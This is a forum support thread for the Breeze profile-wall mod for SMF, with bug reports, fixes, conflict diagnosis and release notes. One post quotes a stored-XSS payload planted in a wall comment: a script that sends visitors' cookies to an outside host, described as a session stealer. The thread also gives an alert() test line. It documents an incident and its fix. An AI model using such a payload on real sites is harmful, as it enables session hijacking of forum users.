also the @mentions feature of your wall doesnt work either. i'm wondering if your Mod works with Dragoon's @mentions Mod (http://www.simplemachines.org/community/index.php?topic=522005.0) because i have that installed in my forum as well
and i was just wondering if there is a way for you to tweak the social media icons appearing on the wall (circled in pink on the same screenshot below). they're all lined up vertically now, is there a way to make them go horizontally instead? or anything that could optimize the space? i could imagine the icons being all vertical like that can get cumbersome when a members has plenty of social media icons activated (like 6 or more with facebook, twitter etc etc)
thats all, hoping you can help me out with this as im loving the Member and Admin features of your Mod :)
~ Steeley
If you install two mods that do the same feature, odds are good that one of them will be failing....
That would indicate theres an issue when posting, usually the mod will return an actual error but if there is just a blank/gray bar then it means theres some PHP error. Have you done any change to any Breeze files? any errors on your error log? if you disable JavaScript, does posting works?
The icons list was a bug I fixed a long time ago, are you sure you're using the latest version?
I have no idea if this mod will work with Dragooon's mod, in theory they should work, I do the mention stuff quite differently and load my own files, if it doesn't work then theres some javaScript conflict somewhere, an url to a profile wall would be handy.
Quote from: ryan_dwight on July 01, 2014, 04:50:44 PM
Quote from: Suki on July 01, 2014, 11:04:16 AM
Quote from: ryan_dwight on June 30, 2014, 10:24:20 AM
I think we have a similar problem.
I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.
then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.
I've been trying to replicate this but I've been unable to do so.
Is there any error on the error log?
I don't see any related error on the log.
OK, I was doing testings with the new version for 2.1, I installed the mod on a clean 2.0.8 installation and indeed it doesn't save any user settings, will take a look at it.
Edit, found the issue, there was a flaw in the logic on BreezeData::sanitize() will release a new version shortly
Quote from: Suki on July 03, 2014, 01:09:29 PM
That would indicate theres an issue when posting, usually the mod will return an actual error but if there is just a blank/gray bar then it means theres some PHP error. Have you done any change to any Breeze files? any errors on your error log? if you disable JavaScript, does posting works?
The icons list was a bug I fixed a long time ago, are you sure you're using the latest version?
I have no idea if this mod will work with Dragooon's mod, in theory they should work, I do the mention stuff quite differently and load my own files, if it doesn't work then theres some javaScript conflict somewhere, an url to a profile wall would be handy.
nope, didnt touch anything on the Breeze zip file. i downloaded it a few hours prior to me posting that issue, so im running the Breeze version thats uploaded here (http://custom.simplemachines.org/mods/index.php?mod=3839). these are the version infos currently running on my forum in case you need them:
Version Information:
Forum version: SMF 2.0.7
GD version: bundled (2.0.34 compatible)
MySQL version: 5.1.73-cll
PHP: 5.3.23im not sure about disabling Java Script or anything else because it might mess with the other mods already installed (or the rest of the board).
i checked the error logs, so far the only breeze related error messages look like these (see attachment below)
i can give you a profile link here to study: http://themazerunner.net/forums/index.php?action=profile;u=17
you may need to register though, since we have restrictions set in place for guests.
thanks so far for looking into this Suki i really appreciate this :)
Quote from: Kindred on July 03, 2014, 12:58:30 PM
If you install two mods that do the same feature, odds are good that one of them will be failing....
i had a feeling thats whats happening :-\
although Dragoon's @mentions feature supposedly just works for the forum posts, from how i understood Suki's mod, seems like her @mentions feature is limited to the wall.
im really not sure, these are all educated guesses on my part.
Would be easier if you provide me with a regular user demo account able to post either new status or comments.
As for the errors, they should be fixed with the new version, in the meantime upload this file to your Sources/Breeze/ directory overwritten the existing one, that should take care of those errors.
Actually, to everyone who want to avoid the annoying procedure of uninstalling the old and install the new version, you can just upload this file to your Sources/Breeze/ directory and that should be it, this is just one of the perks of using an OOP/no edits mod :P
This file fixes the error when saving user settings.
Edit, removed the attachment.
Quote from: Suki on July 04, 2014, 09:51:44 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.
ok i created a new account for you. i'll send the details to your PM
Quote from: Steelio on July 08, 2014, 04:10:19 AM
Quote from: Suki on July 04, 2014, 09:51:44 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.
ok i created a new account for you. i'll send the details to your PM
You have several issues going on.
To fix the gray bar at the top, disable the output compression from your admin panel, can't remember exactly where is it,maybe on server settings or something. You have that setting enable which makes usage of ob_gzhandler but it appears your host doesn't have the zlib library installed.
So you have 2 options, disable that setting or ask your host to install and enable that library.
As for the mentions problem, yes, it looks like there is a conflict with the mentions mod, there isn't an easy way to solve it, best you can do is turn off parsing BBC on status and comments.
Quote from: Suki on July 08, 2014, 11:57:09 AM
Quote from: Steelio on July 08, 2014, 04:10:19 AM
Quote from: Suki on July 04, 2014, 09:51:44 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.
ok i created a new account for you. i'll send the details to your PM
You have several issues going on.
To fix the gray bar at the top, disable the output compression from your admin panel, can't remember exactly where is it,maybe on server settings or something. You have that setting enable which makes usage of ob_gzhandler but it appears your host doesn't have the zlib library installed.
So you have 2 options, disable that setting or ask your host to install and enable that library.
As for the mentions problem, yes, it looks like there is a conflict with the mentions mod, there isn't an easy way to solve it, best you can do is turn off parsing BBC on status and comments.
Suki it worked! :D
it even fixed the @mentions issue of the Wall. thank you so much!
Quote from: Suki on July 04, 2014, 09:51:44 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.
As for the errors, they should be fixed with the new version, in the meantime upload this file to your Sources/Breeze/ directory overwritten the existing one, that should take care of those errors.
Actually, to everyone who want to avoid the annoying procedure of uninstalling the old and install the new version, you can just upload this file to your Sources/Breeze/ directory and that should be it, this is just one of the perks of using an OOP/no edits mod :P
This file fixes the error when saving user settings.
ok im trying to see if i can do this simple overwrite.... but this means i need to have access to the FTP server right? :-\
that might take some time (my co-admin havent created my access yet) i might have to wait for your new release where this fix is bundled along with the rest of the mod. any idea when you could get that up?
Yeah, you would have to use an FTP program to upload that file or you can upload it via cpanel or similar, you can also wait until I release a new version but since the last versions I released I did it with my head on some place else, I want to make sure everything is working fine.
This release fixes a bug introduced in the 1.0.5 version which prevented users from saving their options, it also improves the security fix introduced in the 1.0.5 release.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.6
The green button is a ready to install package.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
If you do not want to follow the uninstall/install process, simply upload the attached file to your Sources/Breeze/ directory with your prefered FTP program, make sure to upload it as "ASCII mode" and to overwrite your existing BreezeData.php file.
Suki
Comments not work to Win 1251 - UTF only :'(
See:
http://www.newsdozor.ru/imhost/image.php?di=87NO
And MySQL DB (coding OK)
http://www.newsdozor.ru/imhost/image.php?di=D7SQ
what languageb are you using? the SMF package language.
Don't really understand why you aren't using utf8, would be much much easier for you.
Forum used russian language (cp 1251/ Windows 1251). I can not change the charset of the forum. Forum is large and old :)
I'm sorry, dunno how to fix it, perhaps it is my browser but at the time the data is passed to Breeze the content is already messed up. Don't even know how to properly test this, I cannot write Russian letters and copy/pasting will not work.
I changed all the files encoding to windows 1251 and set my browser the same but still no luck, by the time the value gets picked up its already messed up.
I'm not that familiar with encodings and all that stuff.
i remember once having a problem with the characters like that and i couldnt finx it in the bd, what i did was censor it in the admin and replace it with the html entity of the character.
if the comment are censored using the censortext function it should work.
i cant test it but you can try with something like this no ?
mb_convert_encoding($string, "Windows-1251", "utf-8");
or otherwise if the data is saved in utf8 and you want to convert it to 1251
mb_convert_encoding($string, "utf-8", "Windows-1251");
My charset to DB is OK: http://www.newsdozor.ru/imhost/image.php?di=D7SQ
But data to DB not ok: part of the data - cp1251, part - UTF8
See: http://www.newsdozor.ru/imhost/image.php?di=JS68
You could try encoding all the files inside Sources/Breeze folder to Windows 2151 and also couldn't hurt adding:
accept-charset="'. $context['character_set']. '" to the forms on /themes/default/Breeze.template and BreezeFunctions.template
Other than that, I have no idea and I don't even know how to properly test this either.
Does this happen to every user or just to some users?
This happens to all users :(
If I (or another user) open a new topic on its wall- all ok. The problem begins when commenting.
...
Ok, thank you very much :) I need some time for testing.
Quote from: Suki on June 16, 2014, 09:43:54 AM
A link to a profile page would help. This mod checks if there is an instance of jquery already and only loads it if it doesn't, sadly, most mod authors just don't do that.
Another possible issue is some other mod incorrectly stuffing $context['html_headers'].
I'm very late to reply, but here's a link to the profile: http://midnightspookhouse.com/community/index.php?action=profile;u=2
My previous message was about the layout being strange. Any help would be greatly appreciated, I'd love to get this working. :)
Guest can't see profile pages, would you create a demo regular account for me to see that profile.
Sure thing, here you go:
Username: Suki
Password: 123456
Thanks!
Yaeh, it looks like some sloppy mod author casually forgot how to use $context['html_headers'] and how to append your own content to it...
Can you list the mods you had installed?
Sure, here's the list:
Thumbnail Topic Mod
Quick Reply Reposition Mod
Like Posts
Social Login
Recent Forum Topics Boardindex
NiceTooltips
Spoiler BBCode
Simple Audio Video Embedder
Tabbed Categories
Remove Help From Menu
Add Facebook Like, Tweet, and Google +1
Simple .htaccess Cache Mod
SMF Gallery Lite
And Breeze, of course.
Thanks for your help. :)
Thanks for this mod, this mod will for ever change the way smf forum is been looked upon.
Nice work, God bless your coding skill :-*
how i can get everyone`s last status,i wanna show the last status instead of signature !
Theres currnetly no way to get the latest status, maybe I should write a quick method for it, thing is, status can be pretty long and won't be pretty to add them after a post, could be confusing.
For Breeze 1.1 I'm implementing a "my mood" feature which will be included on the posting area by default.
i want just show the status not the comments.
is there any way to limit the status characters and lines?
Since the status uses BBC parsed as HTML nop, you will end up with chopped HTML fragments all over the place that will break your page.
If you cut the body before been parsed you will end up with broken BBC tags that will not parse correctly.
I can show you how, even build a custom query for you but I don't have time to code all that is required to show the last status as it will require a few edits on Display and display.template
Quote from: Suki on July 26, 2014, 09:40:47 AM
Since the status uses BBC parsed as HTML nop, you will end up with chopped HTML fragments all over the place that will break your page.
If you cut the body before been parsed you will end up with broken BBC tags that will not parse correctly.
what if i disable BBC parse?
and what if prevent user from submitting many lines and characters before submit the status?
Quote from: Suki on July 26, 2014, 09:40:47 AM
I can show you how, even build a custom query for you but I don't have time to code all that is required to show the last status as it will require a few edits on Display and display.template
i will Be grateful if U build the query.
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0
The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.
There are no other 'Mentions' Mods installed, any help would be appreciated.
Nice mod Suki. I always like smf to improve its profile page to something like this social mod. Keep it up.
Quote from: Tonyvic on August 04, 2014, 06:31:35 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0
The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.
There are no other 'Mentions' Mods installed, any help would be appreciated.
Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.
Will take a look at it when I have some time.
Thanks for the fast response Suki, I will await an update.
At least our members can use use the main part of this great Mod until then. 8) :)
Hi, thanx for your mod it's great :) It's possible to allow current BBcode shortcut in wall like normal posts ?
There should be a setting in the mod's admin panel for allowing BBC on both status and comments.
Hi, thanks for the mod!
I'm having some trouble with the wall for admins. For some reason I can see my own wall and be able to post comments on it but no one else can. All the users see is a bar that says wall but no text box under it. Any idea how to fix this? Thanks!
Quote from: qs12345 on August 11, 2014, 07:44:25 PM
Hi, thanks for the mod!
I'm having some trouble with the wall for admins. For some reason I can see my own wall and be able to post comments on it but no one else can. All the users see is a bar that says wall but no text box under it. Any idea how to fix this? Thanks!
can you check the Breeze admin page >>>>>permissions
Yes, basically heres how permissions work:
- Everybody by default has access to post both status and comments on their own wall.
- There are permissions to post status and comments on any wall. You need to add this permission to the user groups you want to be able to post on any wall.
Thanks for this great Mod Suki, my members are loving it.
I am however seeing an error quite a lot, in fact it's two in one.
Quotehttp://www.mysite.net/community/index.php?action=profile
8: Undefined offset: 171
File: /home/naturist/public_html/community/Themes/default/BreezeFunctions.template.php
Line: 315
and
Quotehttp://www.mysite.net/community/index.php?action=profile
8: Undefined offset: 1094
File: /home/naturist/public_html/community/Themes/default/BreezeFunctions.template.php
Line: 315
A friend of mine wondered if there was a couple of brackets missing in the following.
311:
// Trickery...
312:
$user = $type == 'visitors' ? $u['user'] : $u;
313:
314:
echo '
==>315:
<li> ', $context['Breeze']['user_info'][$user]['facebox'] ,' <br /> ', $context['Breeze']['user_info'][$user]['link'];
316:
TIA,
Tony
Missing brackets where exactly?
is 171 and 1094 the only member IDs that generate those errors? and if so, does thosew accounts belongs to regular mmebers?
QuoteMissing brackets where exactly?
I'm afraid I don't know exactly, he isn't available right now but he isn't a coder so he was probably wrong anyway. ???
We are now into the 3rd day since installing Breeze and there are now lot's of different member ID's generating the errors, most are regular members but 171 (As per my last post) is a Global Moderator.
Each time a user generates this error, two appear at exactly the same time as per attached.
If there is any specific IDs generating those errors then it means the users data isn't been loaded.
Every query in Breeze not only returns data but it also returns all user IDs associated with the data, if a function needs to display that data, it loads the user info from those IDs via BreezeTools::loadUserInfo() for some reason, one of those queries isn't either getting the Ids or loading the users data properly.
Will take a closer look at that when I have some time.
Quote from: Suki on August 15, 2014, 12:18:20 PM
If there is any specific IDs generating those errors then it means the users data isn't been loaded.
Every query in Breeze not only returns data but it also returns all user IDs associated with the data, if a function needs to display that data, it loads the user info from those IDs via BreezeTools::loadUserInfo() for some reason, one of those queries isn't either getting the Ids or loading the users data properly.
Will take a closer look at that when I have some time.
Thanks Suki.
Quote from: Suki on August 04, 2014, 10:28:05 AM
Quote from: Tonyvic on August 04, 2014, 06:31:35 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0
The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.
There are no other 'Mentions' Mods installed, any help would be appreciated.
Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.
Will take a look at it when I have some time.
By elimination on my forum, have discovered it was
BBC_Spoiler_V1_By_SMFSImple.com Mod which was the cause. Uninstalled it & Mentions is now working fine.
I've been toying with some code to try and reduce any issues caused by other mods misusing $context['html_headers'] but I'm afraid its a lot more work than I expected it to be :( It also feels bad having to spend that many time trying to tweak my code to cover other people's mistakes :(
As for a spoiler, I got a very simple one: https://github.com/MissAllSunday/SimpleSpoiler doesn't conflict with any other mod, loads jquery only if it hasn't been loaded yet and it doesn't use any shared var which means no conflicts with other wrongly coded mods.
I've been working on the next version, it will be for SMF 2.1 but it will have lots and lots of improvements:
- No more conflicts with other mods or JS issues.
- Less files, code is cleaner.
- Cover feature, much like Twitter or Facebook, an user can upload an image and it will appear on his/her wall.
- A revamped wall page.
- "my mood" feature, small icons that represents common feelings, angry, happy, bored, etc, easily changed by clicking on it. Admin can add/edit/delete moods too.
- A follow/unfollow system, to avoid messing around with the buddy system, this is something I haven't decided just yet so I might still end up using the existing buddy system.
- Likes for status/comments.
- Editing status/comments.
- Hopefully no more "undefined" errors while trying to load user's data.
Thats basically what I have in mind, I already finished some of that but still had lots of things to do, I have plans to make it ready once SMF 2.1 is released.
Quote from: Suki on March 29, 2014, 06:12:28 PM
???
Since I can't do much with SMF 2.0, all future features will be for SMF 2.1. I have responded to all the questions and fixed all reported bugs, dunno what else do you need.
glad i read deeper into the topic.... you should post that on the mod page so people know it might be year(s) before any updates take place
You may want to read even deeper, say, until the post right above yours when I said I already did most of the new features planned ;)
Anyway, if you're in a hurry or something, please step on and help with development, this mod is open source and everyone can contribute. Nope? yeah, that's what I thought. Carry on then, nothing to whine here.
not in a hurry
but not interested in sitting around waiting for "some day" that tends to run into yrs.
Good to know you're not interested in this mod, therefore you have no reason to keep posting here :)
I know this is a bit off topic, but since you brought it up :P
Are we to assume by this that 2.1 is close to a release?
----------------
"This mod needs PHP 5.3 or greater and SMF 2.0.x or greater"
Does it "have to" be 5.3? My host is still using 5.2.17
2.1 will be released when it is ready
and yes... 5.3 is required. 5.2 is out of date, insecure, and End of Life anyway
Quote from: Kindred on August 18, 2014, 06:54:08 PM
2.1 will be released when it is ready
and yes... 5.3 is required. 5.2 is out of date, insecure, and End of Life anyway
:o K No need to be snarky, I simply asked. You could have just said you didn't know how close it was.
Others have told me that 5.2 is still a reliable version of PHP and is probably why my host has not updated. I have since asked them if they would consider updating. Hopefully they will. It isn't every day you find a mod that has no real code edits to speak of.
Quote from: Kimmie on August 18, 2014, 06:43:13 PM
I know this is a bit off topic, but since you brought it up :P
Are we to assume by this that 2.1 is close to a release?
----------------
"This mod needs PHP 5.3 or greater and SMF 2.0.x or greater"
Does it "have to" be 5.3? My host is still using 5.2.17
Nope! this mod and SMF 2.1 release are two different things, I might as well release this for a beta or other not gold SMF releases. It makes no difference to me, I know both codebases, I can forsee any possible change and since this mod doesn't do any file edit, upgrading it its a matter of uploading the new files.
Me finishing the new features for this mod is not an indication of any possible SMF releases. It just mean I'm working on it.
And yes, it has to be php 5.3, there are some features this mod uses that are only available on 5.3.
Quote from: Suki on August 18, 2014, 09:56:06 PM
And yes, it has to be php 5.3, there are some features this mod uses that are only available on 5.3.
Thanks for the response. I spoke with my host and they are planning on upgrading in the next few weeks. They have some sites hosted that are not compatible with the newer versions of PHP so they have to get those resolved first. I can wait.
Late reply sorry, I ended up realizing I just didn't set the permissions right when I went back through everything. Thanks for the help!
Hi,
I got this error when i clicked wall on my profile.
Wrong value type sent to the database. Array of integers expected. (users)
I remember that error, cannot recall what was the exact thing that caused it. What version are you using? and does the error log say more about this? perhaps a line number and file?
http://www.forumsepeti.com/index.php?action=profile;area=summary;u= Wrong value type sent to the database. Array of integers expected. (users)
Function: loadMemberData: /home/forumsepeti.com/httpdocs/Sources/Load.php
line: 1156
That is the error and i am using smf 2.0.8 version
I actually meant this mod's version and can you post the entire error? I suppose "Satır" means "line" ?
Satır means 'line' in Turkish. And i installed version 1.0.4
The current version is 1.0.6 (http://missallsunday.com/index.php?topic=510.msg3595#msg3595), so you might want to give that version a try.
I downloaded and installed the version you gave but still same problem when i want to go my wall.
Wrong value type sent to the database. Array of integers expected. (user)
This is the error msg
http://www.forumsepeti.com/index.php?action=wall
Wrong value type sent to the database. Array of integers expected. (user)
Function: getActivityLog /home/forumsepeti.com/httpdocs/Sources/Breeze/BreezeQuery.php
Line: 1331
Can you put this on your Sources/Breeze/BreezeQuery.php file below trhis line:
public function getActivityLog($user = false)
{
// We start with nothing!
$return = false;
// The usual check..
if (empty($user))
return $return;
put this:
global $context;
if ($context['user']['is_admin'])
var_dump($user);die;
then go to the page that generates the error, see whats on the page and post it here.
Also, it might be possible that something is wrong with your buddy list: $this->userSettings['buddies'] that var should return an array of integers.
I did wat u have said and when i went to my wall it says
array(4) { [0]=> string(0) "" [1]=> string(1) "2" [2]=> string(2) "69" [3]=> string(2) "99" }
Interesting, somehow you end up with an empty value. It usually means your buddies string is messed up.
OK, as a quick workaround, find the code you included:
global $context;
if ($context['user']['is_admin'])
var_dump($user);die;
and replace it with this:
$user = array_filter($user);
And let me know if you still have errors.
Now the wall is working but my profile says same error :S When i click smb's profile the wall is opening but when i click my profile it gives same error and also when i click smb's profile i want their summary to open 'not the wall'
Then it might be better to fix your buddies field in the DB
Go to phpmyadmin or similar, open your DB, select the members table, select your row and click on edit look out for the "buddies" column and remove any 0 or other characters there might be, it should contain only numbers and commas like this: 1,2,3,4,5.
If you're unsure just delete everything inside the buddies field and go back and add your buddies again from the forum.
Can someone please tell me how to resize the images in the breeze profiles "who visited"? They are the same width, but vary in height. It looks messy.
Your browser is suppose to automatically change the height depending on the avatar's width. Link?
Since you can't see the link without being a registered member I guess a screenshot will have to do? It looks the same across three different browsers.
That is the intended behavior, the mod is setting a width while leaving the browser to specify the height to maintain the image's proportions.
Since I'd rather have the images distorted than the sloppy layout, can I implement the changes somehow?
On your Sources/Breeze/BreezeUserInfo.php file find this line:
<a href="#facebox_'. $user['id'] .'" rel="facebox"><img src="'.(!empty($user['avatar']['href']) ? ''.$user['avatar']['href'].'' : $settings['default_theme_url'] .'/images/breeze/default_user.png') . '" width="50px" /></a>';
There is a width="50px" just add a height too:
width="50px" height="50"
:-* :-* :-* :-*
Thank you!!
Our website uses Breeze Mod flawless and seamless with Simple Audio Embedder and @Mentions. Worked right out of the box. I downloaded a program called AJAX Link Preview design to pre-fetch url snapshots like Facebook. This program uses database to store post, however I am ok with that since our current usage is minimal. I am not an smf expert and don't know how to add a hook for this program. Is there any plans to integrate this into Breeze, since it is really the only place someone would need it in SMF? Here is one link to the program and yes, it does work at a 90% success rate, but has issues resolving major sites like MSN.COM..
Here is a link to the linkpreview version I found https://github.com/LeonardoCardoso/Facebook-Link-Preview (https://github.com/LeonardoCardoso/Facebook-Link-Preview)
Any help on this project is appreciated..
Nicole
Sorry, nope, there is no plans to add anything like that as there is no way to do it efficiently in PHP.
If that script has problems fetching certain sites then you might want to report it to its author.
I edited your post to remove your mail address, otherwise you will get spammed.
Hello Suki.
I saw on a website of your member website an option who seems not released.
It's a cover-photo block where the member can put a cover seems. It's a "private release" or it's will be included in the next release?
Because this option is great. Thank you for the information.
Its not a private release, its a new feature included in the new version.
Oh really? But i have not this option.
I have downloaded the last version, i haven't this thing.
But i don't know why, when i download the version on smf or your forum, i have the release 1.0.4 and not the 1.0.6
Maybe it's the problem?
This is my release page: https://github.com/MissAllSunday/Breeze/releases
And no, 1.0.x versions does not include this feature. 1.0.x is essentially feature frozen and will only get security/bug fixes.
The cover and other features will be included in the next major version which is 1.1. Version 1.1 isn't released yet and its only going to be compatible with SMF 2.1.
Oh okay, too bad.
Thank you for the informations.
This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php
Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.
Quote
This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php
This is a massive amount of work and I currently do not have the time to implement something like that.
Quote
Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.
You cannot do this efficiently with PHP, you just can't. If you have your own server then it will be far better to implement a bot to fetch pages and collect that data, then when an url is submitted let PHP search for it in whatever DB you store whatever the bot has fetched.
If you already have a script then just intercept the content before is sent to the server, on Themes/default/js/breeze.js
Then you will need to add a sniffer or a jquery event to the textarea to capture whatever the user is typing or has already typed and parse it with some regex to get any valid urls, capture them and send that data to your script.
Your script should be able to return any data it found, perhaps as json or plain HTML stuff, I dunno, either way, you can retrieve that data and show it just under the textarea the user is using to post. Then you can append the info to Breeze's object status which is going to be send and all properties inside it will be converted to POST request that you can easily capture on BreezeAjax.
There are already a few jquery libs to fetch whatever the user us typing, you may want to use them since coding that yourself is going to be a nightmare.
<div class="breeze_user_comment_comment">
Good job on Rainbow! :D<br /><script>document.location="hxxp:rrdl.bplaced.net/index.php?x= [nonactive]" document.cookie;</script>
<div class="breeze_options">
<span class="time_elapsed" title="October 21, 2014, 01:41:00 PM">13 hours ago.</span>
this was posted on a comment on a profile and it did redirct me back to the home page.
i was told this was a session stealer code
how to stop it
Make sure you're running the latest version, currently at 1.0.6
i was from your site
huh?
my site currently doesn't have any mods for downloads, you need to either download the mod from the github release page or from the modsite page.
13. Breeze 1.0.4
even after i remove all data and reinstall it always says this on the package manager
Thats because I forgot to update the version on the package-info.xml file
Go to this page: http://custom.simplemachines.org/mods/index.php?mod=3839
Download the mod from there and install THAT package.
i did twice now still comes up as 1.0.4 and this was the mod i was using
Yes, it will always be 1.0.4 because I haven't change that number to reflect the current version, its just a number, as long as you have the correct version installed it doesn't matter if the packager manager shows 1.0.4.
If you know have the latest version then just delete the offending message.
but i was told it was a session stealer and evertime i went to the profile page it did a redirection back to the home page i had to disable the mod just to go to that profile which was an admin
Yes it was, after you upgraded to the latest version, it is no longer an issue, the offending message still resides on your DB so you need to delete that message.
like i said i was using the 1.0.6 and after deleting the mod it had an option to remove all data which i did re installed the mod was able to go to the admins page that it was located on but like i said i was using the latest version you only have on listed on the mod site
Can you reproduce it? I can't reproduce it on my local test or at my site.
Try posting this bit of code on any wall page:
<script>alert("hello");</script>
If you don't see an alert page then it means you're safe.
New release: Breeze 1.0.7 (https://github.com/MissAllSunday/Breeze/tree/v1.0.7)
This release adds a new security layer by implementing the DOMPurify (https://github.com/cure53/DOMPurify) library to both comments and status messages.
It also fixes a wrong version on package-info.xml as well as adding the current version to the version tag on all files.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.7
The green button is a ready to install package.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
isorry had to go to work i uninstalled 1.0.6 and all the data installed the 1.0.7 went to a profile and added <script>alert("hello");</script> a pop up came up saying Hello pick in attachments
Thats not possible, the purify lib should have taken care of it and instead you should see an error message telling you to enter something on the textarea field.
im telling you exactly what happened see for your self www.project-rainbow.org/site
Guest cannot see profile pages.
my profile page with the script in the comments
http://www.project-rainbow.org/site/profile/?u=1
A screen shot doesn't help, I need a regular user account.
Hello Suki, and thank you for having made this mod which is very interesting.
I have however two questions :
1. I'm using Ultimate profile too. As Breeze is setup right now, it is the landing page when you click on a user's "profile" link. Is it possible, and how, to keep "Ultimate Profile" as the main page ? The behaviour I would expect would be :
[b]When [/b]"Profile link" is clicked [b]then [/b]
[b]if [/b]User have an Ultimate Profile go to Ultimate profile main page
[b]else [/b]go to Wall page (or Regular Profile page, it's equal for me)
2. Is it possible to use the custom CSS created in an Ultimate Profile page on the Breeze page ?
Thanks in advance for your answers.
Both mods weren't designed to work together so no, there isn't an easy way to do what you want.
Quote from: Suki on November 22, 2014, 03:29:44 PM
Both mods weren't designed to work together so no, there isn't an easy way to do what you want.
Well, too bad for me...I won't be able to use your great mod.
I have members who already have setup their Ultimate Profile page, as you can see on the few example provided below, and I believe they wouldn't like to lose their Personal Page.
http://www.lux-optima.com/index.php?action=profile;area=static;u=96
http://www.lux-optima.com/index.php?action=profile;area=static;u=671
http://www.lux-optima.com/index.php?action=profile;area=static;u=5
Maybe it is something you could consider for a future release ?
Or, let's dream a little bit (afterall Christmas is coming soon ;D ;) ) a kind of integration of both mods ?
While it is possible to do what you ask, I just don't have the time to do it and it seems its something very few people would actually use. I rather prefer to add more features to my mod than integrating it with a similar one.
In theory you could replace Ultimate profile's comment system with Breeze's, just requires a bit of manual work to get it done.
If you don't want Breeze as the default profile page then open your Sources/Breeze/Breeze.php file, find and comment out this lines:
$profile_areas['info']['areas']['summary'] = array(
'label' => $tools->text('general_wall'),
'file' => Breeze::$folder . 'BreezeUser.php',
'function' => 'breezeWall',
'permission' => array(
'own' => 'profile_view_own',
'any' => 'profile_view_any',
),
);
// If the mod is enable, then create another page for the default profile page
$profile_areas['info']['areas']['static'] = array(
'label' => $tools->text('general_summary'),
'file' => 'Profile-View.php',
'function' => 'summary',
'permission' => array(
'own' => 'profile_view_own',
'any' => 'profile_view_any',
),
);
As for replacing UP comment system with Breeze's its just a matter of including Breeze js files and the template code on whatever file UP uses to display comments, its doable but requires lots of edits to get it done right.
Quote from: Suki on November 23, 2014, 02:01:56 PM
While it is possible to do what you ask, I just don't have the time to do it and it seems its something very few people would actually use. I rather prefer to add more features to my mod than integrating it with a similar one.
I certainly understand that. This is perfectly normal.
Quote from: Suki on November 23, 2014, 02:01:56 PM
If you don't want Breeze as the default profile page then open your Sources/Breeze/Breeze.php file, find and comment out this lines:
Thank you
very much for this information. I guess Breeze will still be functional even if it's not the default profile page ?
Well, Breeze is pretty much intact, the only thing now is that there is no actual page to display the wall.
For anyone interested, I finished the main features I wanted to add to the new version, some of the new features are:
- Revamped code, full OOP using Pimple for Dependency Injection and overall cleaner code, less files too!
- SMF's likes and mentions included on any status/comments.
- Fully integrated with SMF's alert system. The current actions are supported:
When someone post a status on my wall
When someone comment on a status I made
When someone comment on a status made on my wall
When someone mentions me on a comment or status on any wall
When someone likes a comment or status I made on any wall
- Revamp the old Breeze notification system, some of the actions currently supported are:
Alert people when I change my cover image.
Alert people when I change my mood.
Alert people when I like something.
Alert people when I make a status
Alert people when I make a comment.
Alert people when I create a new topic.
These are the actions you made your buddies or users in general will be able to see. Your users have full control over what they want to show, if they delete an alert it won't show up to anybody, only the alerts they have marked as enable will be visible to other users as well.
Both the alerts and the notifications can be expanded and I'm currently thinking what more actions can I cover.
- Cover upload feature. Your users will be able to upload an image, just like twitter or facebook, to act as their cover on their wall, admins can customize who can upload covers as well as the max width, height and size.
- My mood feature, little images that represents moods, your users will be able to change their mood from any post they made, the admin can add/edit/delete any image and set permissions for it.
- The wall page got revamped too, make it responsive (basic responsive support), the same for the general wall.
- The general wall now shows more stuff besides your buddies status/comments, if your buddies allow it, their actions will appear on your general wall.
- Auto-updating timeago text courtesy of Livestamp.js.
- Icons for alerts and logs from Font Awesome.
Anyone with a SMF 2.1 test install who wants to help out debugging it is welcome to get the latest package from github (https://github.com/MissAllSunday/Breeze).
A demo can be found at my site (http://missallsunday.com/index.php?action=profile;u=1)
Oh, this looks nice! Great work. ;)
Quote from: DragoN_SAMP on March 03, 2015, 11:51:13 PM
Oh, this looks nice! Great work. ;)
Seriously. This mod is awesome.
To Whom It May Concern!
Just finished revamping the buddy system:
The buddy system is now tied up with the SMF alert system, a typical case would be like this:
- User X sends a buddy invite to user Y.
- User Y receives an SMF alert informing user X wants to be your buddy.
- User Y has 2 options, either confirm or deny the invitation.
- If confirm, 2 logs will be fired and user X will receive another alert telling him/her that user Y confirmed the buddy request and they are now buddies! Both users can decide if this even will be log into their own recent activity, there is now a new alert setting:
